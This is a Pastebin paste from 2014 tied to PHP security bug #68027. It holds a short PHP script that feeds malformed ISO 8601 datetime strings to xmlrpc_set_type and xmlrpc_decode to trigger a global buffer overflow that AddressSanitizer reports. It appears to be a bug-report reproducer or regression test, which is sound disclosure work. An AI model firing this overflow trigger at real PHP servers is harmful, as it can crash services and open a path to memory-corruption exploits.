SHARE
TWEET

Sec Bug #68027 AddressSanitizer reports a global buffer ove

a guest Nov 12th, 2014 267 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.         ini_set('display_errors', 'On');
  3.         error_reporting(E_ALL | E_STRICT);
  4.  
  5.         if (!extension_loaded("xmlrpc")) print "skip";
  6.  
  7.         $d = '6-01-01 20:00:00';
  8.         xmlrpc_set_type($d, 'datetime');
  9.         var_dump($d);
  10.         $datetime = "2001-0-08T21:46:40-0400";
  11.         $obj = xmlrpc_decode("<?xml version=\"1.0\"?><methodResponse><params><param><value><dateTime.iso8601>$datetime</dateTime.iso8601></value></param></params></methodResponse>");
  12.         print_r($obj);
  13.  
  14.         $datetime = "34770-0-08T21:46:40-0400";
  15.         $obj = xmlrpc_decode("<?xml version=\"1.0\"?><methodResponse><params><param><value><dateTime.iso8601>$datetime</dateTime.iso8601></value></param></params></methodResponse>");
  16.         print_r($obj);
  17.  
  18.         echo "Done\n";
  19. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top